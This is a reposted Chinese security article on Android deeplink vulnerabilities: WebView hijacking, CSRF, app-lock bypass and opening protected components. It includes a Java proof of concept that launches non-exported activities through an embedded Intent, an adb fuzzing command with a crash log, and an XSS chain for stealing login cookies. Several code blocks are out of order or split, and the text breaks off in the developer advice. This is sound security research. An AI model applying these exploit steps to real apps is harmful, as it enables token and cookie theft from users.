搜索

[27748] 2020-04-10_Android中的特殊攻击面（二）——危险的deeplink

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-19
2020-04-10_Android中的特殊攻击面（二）——危险的deeplink A n d r o i d 中 的 特 殊 攻 击 面 （ 二 ） — — 危 险 的 d e e p l i n k 原 创   h e e e e e n   O P P O 安 全 应 急 响 应 中 心   2 0 2 0 - 0 4 - 1 0 收 录 于 话 题   # 子 午 实 验 室 专 辑   , 1 0 个 以 上 文 章 由 来 自 O P P O 子 午 互 联 网 安 全 实 验 室 【 h e e e e e n 】 的 有 赏 投 稿 ， 也 欢 迎 广 大 朋 友 继 续 投 稿 ， 详 情 可 点 击 O S R C 重 金 征 集 文 稿 ！ ！ ！ 了 解 ~ ~ 温 馨 提 示 ： 建 议 投 稿 的 朋 友 尽 量 用 m a r k d o w n 格 式 ， 特 别 是 包 含 大 量 代 码 的 文 章 0 x 0 1   d e e p l i n k 简 介 d e e p l i n k   是 一 种 在 网 页 中 启 动 A p p 的 超 链 接 。 当 用 户 点 击 d e e p l i n k 链 接 时 ， A n d r o i d 系 统 会 启 动 注 册 该 d e e p l i n k 的 应 用 ， 打 开 在 M a n i f e s t 文 件 中 注 册 该 d e e p l i n k 的 a c t i v i t y 。 例 如 ， 按 照 M a n i f e s t 文 件 ， e x a m p l e : / / g i z m o s 和 h t t p : / / w w w . e x a m p l e . c o m / g i z m o s 这 两 个 d e e p l i n k   都 可 以 被 用 来 启 动 G i z m o s A c t i v i t y . 对 于 d e e p l i n k ， 可 以 通 过 a d b   s h e l l   a m   s t a r t   - a   a n d r o i d . i n t e n t . a c t i o n . V I E W   - d   < d e e p l i n k > 打 开 注 册 d e e p l i n k 的 A c t i v i t y ， 方 便 地 在 本 地 环 境 测 试 。 由 于 d e e p l i n k 天 然 具 有 远 程 的 特 性 ， 只 需 要 用 户 点 击 一 下 ， 就 可 以 启 动 A c t i v i t y ， 若 这 个 过 程 造 成 安 全 影 响 ， 就 是 一 个 1 - c l i c k 的 远 程 漏 洞 ， 因 此 对 A p p 而 言 ， d e e p l i n k 是 最 为 常 见 的 远 程 攻 击 面 。 0 x 0 2   d e e p l i n k 的 安 全 问 题 有 一 类 特 殊 的 基 于 i n t e n t : / /   s c h e m e 的 d e e p l i n k ， 各 浏 览 器 都 出 现 过 与 之 相 关 的 安 全 漏 洞 ， 文 章 [ 1 ] 、 [ 2 ] 有 专 门 的 讨 论 ， 其 安 全 问 题 不 是 本 文 讨 论 的 重 点 。 本 文 主 要 讨 论 A p p 自 定 义 s c h e m e   d e e p l i n k 引 入 的 安 全 问 题 。 1 .   通 过 d e e p l i n k 操 纵 W e b V i e w 在 d e e p l i n k 漏 洞 当 中 ， 打 开 A p p 的 W e b V i e w 访 问 攻 击 者 可 控 链 接 携 带 t o k e n ， 甚 至 盗 取 文 件 或 者 调 用 其 中 的 特 权 接 口 ， 又 最 为 常 见 。 例 如 ： F a c e b o o k   A p p   [ 3 ] ` ` ` x m l < a c t i v i t y                 a n d r o i d : n a m e = " c o m . e x a m p l e . a n d r o i d . G i z m o s A c t i v i t y "                 a n d r o i d : l a b e l = " @ s t r i n g / t i t l e _ g i z m o s "   >                 < i n t e n t - f i l t e r   a n d r o i d : l a b e l = " @ s t r i n g / f i l t e r _ v i e w _ h t t p _ g i z m o s " >                         < a c t i o n   a n d r o i d : n a m e = " a n d r o i d . i n t e n t . a c t i o n . V I E W "   / >                         < c a t e g o r y   a n d r o i d : n a m e = " a n d r o i d . i n t e n t . c a t e g o r y . D E F A U L T "   / >                         < c a t e g o r y   a n d r o i d : n a m e = " a n d r o i d . i n t e n t . c a t e g o r y . B R O W S A B L E "   / >                         < ! - -   A c c e p t s   U R I s   t h a t   b e g i n   w i t h   " h t t p : / / w w w . e x a m p l e . c o m / g i z m o s ”   - - >                         < d a t a   a n d r o i d : s c h e m e = " h t t p "                                     a n d r o i d : h o s t = " w w w . e x a m p l e . c o m "                                     a n d r o i d : p a t h P r e f i x = " / g i z m o s "   / >                         < ! - -   n o t e   t h a t   t h e   l e a d i n g   " / "   i s   r e q u i r e d   f o r   p a t h P r e f i x - - >                 < / i n t e n t - f i l t e r >                 < i n t e n t - f i l t e r   a n d r o i d : l a b e l = " @ s t r i n g / f i l t e r _ v i e w _ e x a m p l e _ g i z m o s " >                         < a c t i o n   a n d r o i d : n a m e = " a n d r o i d . i n t e n t . a c t i o n . V I E W "   / >                         < c a t e g o r y   a n d r o i d : n a m e = " a n d r o i d . i n t e n t . c a t e g o r y . D E F A U L T "   / >                         < c a t e g o r y   a n d r o i d : n a m e = " a n d r o i d . i n t e n t . c a t e g o r y . B R O W S A B L E "   / >                         < ! - -   A c c e p t s   U R I s   t h a t   b e g i n   w i t h   " e x a m p l e : / / g i z m o s ”   - - >                         < d a t a   a n d r o i d : s c h e m e = " e x a m p l e "                                     a n d r o i d : h o s t = " g i z m o s "   / >                 < / i n t e n t - f i l t e r >         < / a c t i v i t y > ` ` `
这 是 一 个 价 值 8 5 0 0 刀 的 F a c e b o o k   a p p   漏 洞 ， 白 帽 子 对 F a c e b o o k   A p p 大 量 的 f b : / /   d e e p l i n k 进 行 了 整 理 、 筛 选 和 自 动 化 测 试 ， 找 到 了 3 个 d e e p l i n k 可 以 打 开 W e b V i e w 组 件 访 问 指 定 的 u r l ， 而 且 这 个 u r l 支 持 f i l e : / / 并 可 以 打 开 本 地 文 件 ， 尽 管 没 有 给 出 自 动 盗 取 文 件 的 利 用 方 法 ， f a c e b o o k 仍 然 慷 慨 地 奖 励 了 这 一 漏 洞 。 G r a b   A p p   [ 4 ] b a g i p r o 发 现 通 过 d e e p l i n k g r a b : / / o p e n ? s c r e e n T y p e = H E L P C E N T E R & p a g e = < e v i l - s i t e > 可 打 开 g r a b   a p p 的 W e b V i e w ， 并 访 问 攻 击 者 可 控 的 u r l ， 通 过 j s 调 用 W e b V i e w 的 特 权 接 口 可 盗 取 用 户 的 敏 感 信 息 。 另 外 ， 之 前 玄 武 实 验 室 披 露 的 应 用 克 隆 漏 洞 ， 其 实 也 是 通 过 d e e p l i n k 打 开 W e b V i e w ， 利 用 W e b V i e w 设 置 配 置 不 当 ， 盗 取 A p p 私 有 目 录 的 所 有 文 件 实 现 应 用 克 隆 。 这 一 类 d e e p l i n k 需 要 重 点 关 注 u r l 、 e x t r a _ u r l 、 p a g e 、 l i n k 等 参 数 ， 看 是 否 可 以 设 置 为 任 意 域 名 打 开 w e b v i e w 。 2 .   通 过 d e e p l i n k 构 造 C S R F 针 对 t w i t t e r 的 P e r i s c o p e   A n d r o i d   A p p ， 若 用 户 点 击 形 为 p s c p : / / u s e r / < u s e r - i d >   或 者   p s c p d : / / u s e r / < u s e r - i d > 则 可 以 绕 过 确 认 对 话 框 ， 直 接 f o l l o w 指 定 u s e r - i d 的 用 户 [ 5 ] 。 而 用 户 点 击 w w w . p s c p . t v / < u s e r - i d > / f o l l o w 是 需 要 弹 出 确 认 对 话 框 的 。 3 .   通 过 d e e p l i n k 绕 过 应 用 锁 S h o p i f y   A p p 具 有 基 于 指 纹 的 应 用 锁 功 能 ， 然 而 却 可 以 通 过 点 击 d e e p l i n k   h t t p s : / / w w w . s h o p i f y . c o m / a d m i n / p r o d u c t s 绕 过 应 用 锁 ， 无 限 制 地 使 用 a p p 的 功 能 [ 6 ] 。 另 外 ， 还 有   s a m b a l 0 x 分 享 的 一 个 案 例 ， 通 过 d e e p l i n k 构 造 条 件 竞 争 ， 绕 过 应 用 锁 [ 7 ] 。 4 .   通 过 d e e p l i n k 打 开 A p p 保 护 组 件 这 里 分 享 自 己 在 某 A p p 渗 透 测 试 中 的 d e e p l i n k 漏 洞 案 例 （ 漏 洞 已 经 修 复 ， 但 隐 去 a p p 信 息 ， 以 v i c t i m - a p p 代 替 ） 类 似 于 f a c e b o o k   a p p ， 该 A p p 包 含 大 量 ( > 2 0 0 ) 的 d e e p l i n k ， 散 落 在 j a v a 代 码 和 a s s e t 目 录 的 j s 文 件 中 。 对 这 些 d e e p l i n k 进 行 筛 选 和 简 单 F u z z ， 发 现 了 多 个 安 全 问 题 。 包 括 ： （ 1 ） 多 个 d e e p l i n k 控 制 W e b V i e w   u r l 跳 转 指 定 网 址 ， 只 能 用 来 p h i s h i n g ； （ 2 ） 两 个 d e e p l i n k 可 以 打 开 R e a c t N a t i v e W e b V i e w 且 支 持 f i l e : / / ； （ 3 ） 一 个 d e e p l i n k 可 以 打 开 W e b V i e w 并 携 带 重 要 的 o a u t h _ t o k e n 泄 露 到 攻 击 者 指 定 的 链 接 ； （ 4 ） 两 个 d e e p l i n k 分 别 能 启 动 a p p 调 试 、 停 止 a p p 调 试 并 在 不 安 全 的 外 部 存 储 生 成 p r o f i l e 文 件 在 这 些 安 全 问 题 当 中 ， 最 有 意 思 的 则 是 可 以 通 过 d e e p l i n k 打 开 A p p 的 保 护 组 件 ， 漏 洞 的 根 本 原 因 在 于 ， I n t e n t   e x t r a 可 以 通 过 d e e p l i n k 以 参 数 的 形 式 传 递 至 A p p 中 哪 些 不 导 出 的 A c t i v i t y 中 ， 从 而 暴 露 了 大 量 的 攻 击 面 。 通 过 a d b   s h e l l   a m   s t a r t   - a   a n d r o i d . i n t e n t . a c t i o n . V I E W   - d   < d e e p l i n k > 测 试 所 有 的 d e e p l i n k ， 同 时 监 控 a d b   l o g c a t   - s   A c t i v i t y M a n a g e r ， 寻 找 处 理 d e e p l i n k 的 最 终 A c t i v i t y ， 我 发 现 了 两 个 打 开 A p p 保 护 组 件 的 问 题 ： 通 过 d e e p l i n k 打 开 任 意 a c t i v i t y 通 过 测 试 v i c t i m - a p p : / / c / i d e n t i t y c h i n a ， 发 现 经 过 复 杂 的 I n t e n t 传 递 ， 最 终 可 以 打 开 I d e n t i t y C h i n a A c t i v i t y 。 如 代 码 所 示 ， g l o b a l I d e n t i t y F l o w I n t e n t 作 为 一 个 P a r c e l a b l e 对 象 ， 可 以 跟 随 d e e p l i n k 的 I n t e n t   e x t r a 传 递 ， 为 攻 击 者 可 控 。 而 这 个 e m b e d e d   I n t e n t 最 终 会 传 入 s t a r t A c t i v i t y F o r R e s u l t ， 造 成 一 个 l a u n c h A n y W h e r e 漏 洞 ， 攻 击 者 可 以 通 过 g l o b a l I d e n t i t y F l o w I n t e n t 指 向 不 导 出 的 A c t i v i t y ， 或 者 构 造 A p p 所 持 有 权 限 的 特 权 操 作 ， 实 现 提 权 或 者 盗 取 敏 感 信 息 。 通 过 如 下 P O C 可 实 现 漏 洞 利 用 ` ` ` j a v a p r o t e c t e d   v o i d   o n A c t i v i t y R e s u l t ( i n t   a r g 3 ,   i n t   a r g 4 ,   I n t e n t   a r g 5 )   {                 s u p e r . o n A c t i v i t y R e s u l t ( a r g 3 ,   a r g 4 ,   a r g 5 ) ;                 i n t   v 0   =   1 0 0 ;                 i f ( a r g 3   = =   1   & &   a r g 5   ! =   n u l l )   {                         S t r i n g   v 3   =   a r g 5 . g e t S t r i n g E x t r a ( " c o u n t r y _ c o d e " ) ;                         I d e n t i t y C h i n a A n a l y t i c s V 2 . d ( v 3 ) ;                         i f ( t h i s . o   ! =   n u l l )   {                                 A c c o u n t V e r i f i c a t i o n A c t i v i t y I n t e n t s . a ( v 3 ) ;                                 t h i s . s t a r t A c t i v i t y F o r R e s u l t ( t h i s . o ,   v 0 ) ;     / / t h i s . o   i s   a n   a t t a c k e r   c o n t r o l l e d   I n t e n t                         }                 }                 e l s e   i f ( a r g 3   = =   v 0 )   {                         a r g 3   =   - 1 ;                         i f ( a r g 4   = =   a r g 3 )   {                                 t h i s . s e t R e s u l t ( a r g 3 ) ;                                 t h i s . f i n i s h ( ) ;                         }                 }         }         p r o t e c t e d   v o i d   o n C r e a t e ( B u n d l e   a r g 2 )   {                 s u p e r . o n C r e a t e ( a r g 2 ) ;                 t h i s . s e t C o n t e n t V i e w ( l a y o u t . a c t i v i t y _ s i m p l e _ f r a g m e n t ) ;                 B u t t e r K n i f e . a ( ( ( A c t i v i t y ) t h i s ) ) ;                 i f ( a r g 2   = =   n u l l )   {                         t h i s . c ( t r u e ) ;                         n e w   C h i n a V e r i f i c a t i o n s R e q u e s t ( ) . a ( t h i s . n ) . e x e c u t e ( t h i s . I ) ;                 }                 I n t e n t   v 2   =   t h i s . g e t I n t e n t ( ) ;                 i f ( v 2 . g e t P a r c e l a b l e E x t r a ( " g l o b a l I d e n t i t y F l o w I n t e n t " )   ! =   n u l l )   {                     t h i s . o   =   v 2 . g e t P a r c e l a b l e E x t r a ( " g l o b a l I d e n t i t y F l o w I n t e n t " ) ;   / / A t t a c k e r   c o n t r o l l e d   I n t e n t                 }         } ` ` ` ` ` ` j a v a I n t e n t   i n t e n t   =   n e w   I n t e n t ( I n t e n t . A C T I O N _ V I E W ) ; i n t e n t . s e t D a t a ( U r i . p a r s e ( " v i c t i m - a p p : / / c / i d e n t i t y c h i n a " ) ) ;
通 过 d e e p l i n k 打 开 任 意 f r a g m e n t 对 d e e p l i n k   v i c t i m - a p p : / / c / c o n t a c t / 2 ? f r a g m e n _ c l a s s = A A A A 进 行 测 试 时 ， 触 发 了 c r a s h ， 如 下 仔 细 分 析 ， 发 现 c r a s h 原 因 在 于 d e e p l i n k 最 终 打 开 了 M o d a l A c t i v i t y ， 无 法 对 名 为 A A A A 的 F r a g m e n t 类 实 例 化 。 如 果 在 d e e p l i n k 中 的 f r a g m e n t _ c l a s s 参 数 传 入 一 个 v i c t i m - a p p 已 有 的 F r a g m e n t ， 则 可 以 通 过 M o d a l A c t i v i t y 启 动 。 在 这 个 参 数 当 中 ， 我 尝 试 传 入 了 所 有 已 有 的 F r a g m e n t   C l a s s ， 有 的 可 以 成 功 启 动 ， 有 的 却 因 为 参 数 不 完 整 造 成 c r a s h ， 但 是 这 里 能 够 造 成 何 种 安 全 影 响 却 费 了 一 番 周 折 。 最 终 ， 我 找 到 一 个 G o o g l e W e b V i e w M a p F r a g m e n t ， 有 机 会 执 行 l o a d D a t a W i t h B a s e U R L ， 通 过 W e b V i e w 加 载 H T M L / J S . 第 一 个 参 数 v 8 _ 1 . c ( ) 为 b a s e U r l ， 第 二 个 参 数 v 8 _ 1 . a ( t h i s . w ( ) ) 为 d a t a ， 如 果 能 同 时 通 过 d e e p l i n k 控 制 这 两 个 参 数 ， 就 可 以 操 纵 W e b V i e w 在 任 意 b a s e U r l 加 载 任 意 H T M L / J S 。 第 一 个 参 数 v 8 _ 1 . c ( ) 就 是 下 面 的 c ( ) 方 法 ， 这 个 参 数 的 返 回 值 t h i s . c 将 会 放 在 某 个 B u n d l e 中 的 m a p _ d o m a i n ， 此 外 ， 也 发 现 t h i s . b 作 为 B u n d l e 的 m a p _ u r l ， t h i s . a 作 为 B u n d l e 的 m a p _ f i l e _ n a m e 。 第 二 个 参 数 v 8 _ 1 . a ( t h i s . w ( ) ) 为 下 面 的 a ( R e s o u r c e s   a r g 3 ) 方 法 ， 调 用 V i c M a p U t i l s . a 方 法 ， 并 调 用 t h i s . b 方 法 对 文 件 中 的 M A P U R L 字 符 串 进 行 替 换 。 i n t e n t . s e t D a t a ( U r i . p a r s e ( " v i c t i m - a p p : / / c / i d e n t i t y c h i n a " ) ) ; I n t e n t   p a y l o a d   =   n e w   I n t e n t ( ) ; p a y l o a d . s e t C o m p o n e n t ( n e w   C o m p o n e n t N a m e ( " < v i c t i m   a p p   p a c k a g e   n a m e > " ,                                                 " < v i c t i m   a p p   p r o t e c t e d   c o m p o n e n t   n a m e > " ) ) ; i n t e n t . p u t E x t r a ( " g l o b a l I d e n t i t y F l o w I n t e n t " ,   p a y l o a d ) ; s t a r t A c t i v i t y ( i n t e n t ) ; ` ` ` ` ` ` s h e l l $   a d b   s h e l l   a m   s t a r t   - a   a n d r o i d . i n t e n t . a c t i o n . V I E W   " v i c t i m - a p p : / / c / c o n t a c t / 2 ? f r a g m e n _ c l a s s = A A A A " 0 3 - 0 6   0 8 : 4 3 : 3 7 . 0 1 9   2 7 0 6 6   2 7 0 6 6   E   A n d r o i d R u n t i m e :   P r o c e s s :   c o m . v i c t i m - a p p . a n d r o i d ,   P I D :   2 7 0 6 6 0 3 - 0 6   0 8 : 4 3 : 3 7 . 0 1 9   2 7 0 6 6   2 7 0 6 6   E   A n d r o i d R u n t i m e :   j a v a . l a n g . R u n t i m e E x c e p t i o n :   U n a b l e   t o   s t a r t   a c t i v i t y   C o m p o n e n t I n f o { c o m . v i c t i m - a p p . a n d r o i d / c o m . v i c t i m - a p p . a n d r o i d . c o r e . a c t i v i t i e s . M o d a l A c t i v i t y } :   a n d r o i d . s u p p o r t . v 4 . a p p . F r a g m e n t $ I n s t a n t i a t i o n E x c e p t i o n :   U n a b l e   . . . . . . ( s k i p ) 0 3 - 0 6   0 8 : 4 3 : 3 7 . 0 1 9   2 7 0 6 6   2 7 0 6 6   E   A n d r o i d R u n t i m e :   C a u s e d   b y :   j a v a . l a n g . C l a s s N o t F o u n d E x c e p t i o n :   D i d n ' t   f i n d   c l a s s   " A A A A "   o n   p a t h :   D e x P a t h L i s t [ [ z i p   f i l e   " / d a t a / a p p / c o m . v i c t i m - a p p . a n d r o i d - 8 8 D W i V j E A e e a m f v T k 2 k h A A = = / b a s e . a p k " ] , n a t i v e L i b r a r y D i r e c t o r i e s = [ / d a t a / a p p / c o m . v i c t i m - a p p . a n d r o i d - 8 8 D W i V j E A e e a m f v T k 2 k h A A = = / l i b / a r m ,   / d a t a / a p p / c o m . v i c t i m - a p p . a n d r o i d - 8 8 D W i V j E A e e a m f v T k 2 k h A A = = / b a s e . a p k ! / l i b / a r m e a b i - v 7 a ,   / s y s t e m / l i b ,   / v e n d o r / l i b ] ] ` ` ` ` ` ` j a v a @ S u p p r e s s L i n t ( v a l u e = { " S e t J a v a S c r i p t E n a b l e d " ,   " A d d J a v a s c r i p t I n t e r f a c e " } )   p u b l i c   V i e w   a ( L a y o u t I n f l a t e r   a r g 7 ,   V i e w G r o u p   a r g 8 ,   B u n d l e   a r g 9 )   {                 V i e w   v 7   =   a r g 7 . i n f l a t e ( l a y o u t . f r a g m e n t _ w e b v i e w ,   a r g 8 ,   f a l s e ) ;                 t h i s . a   =   v 7 . f i n d V i e w B y I d ( i d . w e b v i e w ) ;                 t h i s . d   =   v 7 ;                 W e b S e t t i n g s   v 8   =   t h i s . a . g e t S e t t i n g s ( ) ;                 v 8 . s e t S u p p o r t Z o o m ( t r u e ) ;                 v 8 . s e t B u i l t I n Z o o m C o n t r o l s ( f a l s e ) ;                 v 8 . s e t J a v a S c r i p t E n a b l e d ( t r u e ) ;                 v 8 . s e t G e o l o c a t i o n E n a b l e d ( t r u e ) ;                 v 8 . s e t A l l o w F i l e A c c e s s ( f a l s e ) ;                 v 8 . s e t A l l o w C o n t e n t A c c e s s ( f a l s e ) ;                 t h i s . a . s e t W e b C h r o m e C l i e n t ( n e w   G e o W e b C h r o m e C l i e n t ( t h i s ) ) ;                 V i c M a p T y p e   v 8 _ 1   =   V i c M a p T y p e . b ( t h i s . o ( ) ) ;                 t h i s . a . l o a d D a t a W i t h B a s e U R L ( v 8 _ 1 . c ( ) ,   v 8 _ 1 . a ( t h i s . w ( ) ) ,   " t e x t / h t m l " ,   " b a s e 6 4 " ,   n u l l ) ;   / / n o i c e ! ! !                 t h i s . a . a d d J a v a s c r i p t I n t e r f a c e ( n e w   M a p s J a v a S c r i p t I n t e r f a c e ( t h i s ,   n u l l ) ,   " V i c M a p V i e w " ) ;                 r e t u r n   v 7 ;         } ` ` ` ` ` ` j a v a   p u b l i c   V i c M a p T y p e ( S t r i n g   a r g 1 ,   S t r i n g   a r g 2 ,   S t r i n g   a r g 3 )   {                 s u p e r ( ) ;                 t h i s . a   =   a r g 1 ;                 t h i s . b   =   a r g 2 ;                 t h i s . c   =   a r g 3 ;         }         p u b l i c   S t r i n g   a ( R e s o u r c e s   a r g 3 )   {                 r e t u r n   V i c M a p U t i l s . a ( a r g 3 ,   t h i s . a ) . r e p l a c e ( " M A P U R L " ,   t h i s . b ) . r e p l a c e ( " L A N G T O K E N " ,   L o c a l e . g e t D e f a u l t ( ) . g e t L a n g u a g e ( ) ) . r e p l a c e ( " R E G I O N T O K E N " ,   L o c a l e . g e t D e f a u l t ( ) . g e t C o u n t r y ( ) ) ;         }         p u b l i c   B u n d l e   a ( B u n d l e   a r g 3 )   {                 a r g 3 . p u t S t r i n g ( " m a p _ d o m a i n " ,   t h i s . c ( ) ) ;   / /   t h i s . c   i s   p u t   i n   m a p _ d o m a i n                 a r g 3 . p u t S t r i n g ( " m a p _ u r l " ,   t h i s . b ( ) ) ;   / /   t h i s . b   i s   p u t   i n   m a p _ u r l                   a r g 3 . p u t S t r i n g ( " m a p _ f i l e _ n a m e " ,   t h i s . a ( ) ) ;   / /   t h i s . a   i s   p u t   i n   m a p _ f i l e _ n a m e                 r e t u r n   a r g 3 ;         }         S t r i n g   a ( )   {                 r e t u r n   t h i s . a ;         }         p u b l i c   s t a t i c   V i c M a p T y p e   b ( B u n d l e   a r g 5 )   {                 r e t u r n   n e w   V i c M a p T y p e ( a r g 5 . g e t S t r i n g ( " m a p _ f i l e _ n a m e " ,   " " ) ,   a r g 5 . g e t S t r i n g ( " m a p _ u r l " ,   " " ) ,   a r g 5 . g e t S t r i n g ( " m a p _ d o m a i n " ,   " " ) ) ;         }         S t r i n g   b ( )   {                 r e t u r n   t h i s . b ;         }         S t r i n g   c ( )   {     / /   v 8 _ 1 . c ( )                 r e t u r n   t h i s . c ;
  检 查 V i c M a p U t i l s . a ， 发 现 是 打 开 a p p   a s s e t 目 录 下 的 文 件 并 读 入 。 此 时 ， 我 检 查 了 A P K 中 的 a s s e t 目 录 ， 找 到 了 一 些 h t m l 文 件 同 时 ， 在 g o o g l e _ m a p . h t m l 中 找 到 了 M A P U R L 字 符 串 漏 洞 利 用 的 线 索 开 始 有 一 些 明 了 ， 如 果 控 制 了 M A P U R L 字 符 串 ， 就 可 以 构 造 一 个 X S S 。 再 来 看 看 所 涉 及 B u n d l e 的 构 造 ， 这 个 B u n d l e 其 实 就 是 启 动 F r a g m e n t 的 参 数 ， 经 过 实 验 表 明 这 个 B u n d l e 参 数 可 以 随 d e e p l i n k 的 I n t e n t   e x t r a 传 递 。         } ` ` ` ` ` ` j a v a p u b l i c   c l a s s   V i c M a p U t i l s   {         p u b l i c   s t a t i c   S t r i n g   a ( R e s o u r c e s   a r g 2 ,   S t r i n g   a r g 3 )   {                 t r y   {                         I n p u t S t r e a m   v 2   =   a r g 2 . g e t A s s e t s ( ) . o p e n ( a r g 3 ) ;                         S t r i n g   v 0   =   V i c M a p U t i l s . a ( v 2 ) ;                         v 2 . c l o s e ( ) ;                         r e t u r n   v 0 ;                 }                 c a t c h ( I O E x c e p t i o n   )   {                         S t r i n g B u i l d e r   v 0 _ 1   =   n e w   S t r i n g B u i l d e r ( ) ;                         v 0 _ 1 . a p p e n d ( " u n a b l e   t o   l o a d   a s s e t   " ) ;                         v 0 _ 1 . a p p e n d ( a r g 3 ) ;                         t h r o w   n e w   R u n t i m e E x c e p t i o n ( v 0 _ 1 . t o S t r i n g ( ) ) ;                 }         }         p u b l i c   s t a t i c   S t r i n g   a ( I n p u t S t r e a m   a r g 2 )   {                 B u f f e r e d R e a d e r   v 0   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( a r g 2 ) ) ;                 S t r i n g B u i l d e r   v 2   =   n e w   S t r i n g B u i l d e r ( ) ;                 w h i l e ( t r u e )   {                         S t r i n g   v 1   =   v 0 . r e a d L i n e ( ) ;                         i f ( v 1   = =   n u l l )   {                                 b r e a k ;                         }                         v 2 . a p p e n d ( v 1 ) ;                         v 2 . a p p e n d ( " n " ) ;                 }                 v 0 . c l o s e ( ) ;                 r e t u r n   v 2 . t o S t r i n g ( ) ;         } } ` ` ` ` ` ` s h e l l $   l s   - l   * . h t m l - r w x r - x r - x     1   h e e e e e n     h 4 c k e r       8 2 9 0     3     6   0 8 : 2 8   g o o g l e _ m a p . h t m l - r w x r - x r - x     1   h e e e e e n     h 4 c k e r     1 5 0 2 4     3     6   0 8 : 2 8   l e a f l e t _ m a p . h t m l - r w x r - x r - x     1   h e e e e e n     h 4 c k e r       5 5 4 6     3     6   0 8 : 2 8   m a p b o x . h t m l ` ` ` ` ` ` h t m l $   c a t   g o o g l e _ m a p . h t m l < ! D O C T Y P E   h t m l > < h t m l > < h e a d >         < m e t a   n a m e = " v i e w p o r t "   c o n t e n t = " i n i t i a l - s c a l e = 1 . 0 ,   u s e r - s c a l a b l e = n o " >         < m e t a   c h a r s e t = " u t f - 8 " >         < s t y l e >                 h t m l ,   b o d y ,   # m a p - c a n v a s   {                 h e i g h t :   1 0 0 % ;                 m a r g i n :   0 p x ;                 p a d d i n g :   0 p x                 } < / s t y l e >         < s c r i p t   s r c = " M A P U R L ? v = 3 . e x p & s e n s o r = f a l s e & l a n g u a g e = L A N G T O K E N & r e g i o n = R E G I O N T O K E N " > < / s c r i p t >         < s c r i p t   s r c = " f i l e : / / / a n d r o i d _ a s s e t / g e o l o c a t e _ u s e r . j s "   t y p e = " t e x t / j a v a s c r i p t " > < / s c r i p t >         < s c r i p t > v a r   m a p ; v a r   i n f o W i n d o w   =   n u l l ; v a r   m a r k e r s   =   { } ; v a r   i n f o W i n d o w C o n t e n t   =   { } ; v a r   p o l y l i n e s   =   { } ; ` ` ` j a v a p u b l i c   B u n d l e   a ( B u n d l e   a r g 3 )   {                 a r g 3 . p u t S t r i n g ( " m a p _ d o m a i n " ,   t h i s . c ( ) ) ;   / /   t h i s . c   i s   p u t   i n   m a p _ d o m a i n                 a r g 3 . p u t S t r i n g ( " m a p _ u r l " ,   t h i s . b ( ) ) ;   / /   t h i s . b   i s   p u t   i n   m a p _ u r l                   a r g 3 . p u t S t r i n g ( " m a p _ f i l e _ n a m e " ,   t h i s . a ( ) ) ;   / /   t h i s . a   i s   p u t   i n   m a p _ f i l e _ n a m e
所 以 ， m a p _ d o m a i n 作 为 l o a d D a t a W i t h B a s e U R L 的 第 一 个 参 数 ， 需 要 传 入 我 们 想 要 在 其 中 执 行 J S 的 d o m a i n ， 也 就 是 该 A p p 使 用 的 登 陆 态 d o m a i n ： h t t p : / / w w w . v i c i t i m - a p p . c o m ； m a p _ u r l 作 为 l o a d D a t a W i t h B a s e U R L 的 第 二 个 参 数 ， 需 要 传 入 攻 击 p a y l o a d ； 而 m a p _ f i l e _ n a m e 则 需 要 指 向 文 件 名 g o o g l e _ m a p . h t m l ， W e b V i e w 就 会 加 载 这 个 注 入 攻 击 p a y l o a d 的 h t m l 文 件 。 至 此 ， 可 以 通 过 这 个 d e e p l i n k 打 开 任 意 f r a g m e n t 的 漏 洞 ， 实 现 可 控 任 意 域 执 行 任 意 J S ， 实 现 盗 取 登 陆 态 的 用 户 c o o k i e ！ P O C 如 下 ： 0 x 0 3   d e e p l i n k 的 收 集 既 然 d e e p l i n k 暴 露 了 大 量 的 攻 击 面 ， 且 容 易 出 现 远 程 漏 洞 ， 因 此 d e e p l i n k 的 收 集 就 成 为 漏 洞 挖 掘 的 重 点 。 首 先 ， 需 要 解 析 M a n i f e s t 文 件 中 的 a n d r o i d : s c h e m e 及 a n d r o i d : h o s t 提 取 出 d e e p l i n k 的 p r o t o c o l : / / h o s t n a m e ， 接 下 来 可 以 采 用 五 种 方 法 ： 本 地 搜 索 ： 通 过 M a i n i f e s t 文 件 筛 选 出 自 定 义 的 d e e p l i n k   U R L   s c h e m e ， 进 而 在 本 地 逆 向 代 码 中 正 则 匹 配 ， 提 取 出 尽 可 能 完 整 的 d e e p l i n k   U R I ， 注 意 不 要 漏 过 所 有 文 件 。 因 为 以 经 验 来 看 ， d e e p l i n k 可 能 出 现 在 A p p 的 J a v a 代 码 中 、 A s s e t 目 录 的 资 源 文 件 / j s 中 ， 甚 至 还 可 能 出 现 在 s o 当 中 ； 流 量 监 控 ： 对 a p p 进 行 抓 包 ， 利 用 H T T P 抓 包 工 具 或 者 实 现 成 b u r p 插 件 监 测 流 量 中 的 d e e p l i n k ， 尽 可 能 在 a p p 中 点 击 各 种 场 景 ， 从 请 求 包 和 返 回 包 中 正 则 匹 配 出 完 整 的 d e e p l i n k ； I P C 监 控 ： 通 过 h o o k 动 态 监 测 I P C 通 信 中 出 现 的 d e e p l i n k ， 将 I n t e n t 中 的 d a t a 提 取 出 来 ， 可 以 利 用 b u r p 插 件 b r i d a ， 甚 至 与 流 量 监 控 整 合 ； 远 程 爬 取 ： 对 a p p   W e b 端 网 页 进 行 爬 取 ， 筛 选 出 d e e p l i n k 。 不 过 这 种 方 法 我 没 有 实 践 过 ， 只 是 偶 尔 在 网 页 源 码 中 发 现 过 。 基 于 d e e p l i n k 特 征 ： 如 果 A P P 使 用 了 一 些 路 由 分 发 的 s d k ， 由 于 这 类 s d k 有 特 定 的 规 律 ， 因 此 可 以 通 过 正 则 解 析 这 类 规 律 来 获 取 到 完 整 的 d e e p l i n k 。 以 a l i   a r o u t e r 为 例 ， 可 以 通 过 提 取 b u i l d   R o u t e 后 面 的 p a t h 作 为 d e e p l i n k   U R I 的 p a t h 。 提 取 b u i l d   A u t o w i r e d 后 面 的 n a m e 作 为 d e e p l i n k 中 的 p a r a m e t e r s 。 然 后 和 第 一 步 中 获 取 到 的 内 容 进 行 拼 接 ， 从 而 获 取 到 一 个 完 整 的 d e e p l i n k 。 然 而 ， 按 照 上 述 思 路 收 集 的 d e e p l i n k 还 是 可 能 不 完 整 ， 难 以 得 到 完 整 的 参 数 。 从 白 帽 子 的 角 度 ， d e e p l i n k 收 集 始 终 是 挖 掘 d e e p l i n k 漏 洞 的 最 大 难 点 。 0 x 0 4     对 开 发 者 的 建 议   开 发 者 特 别 要 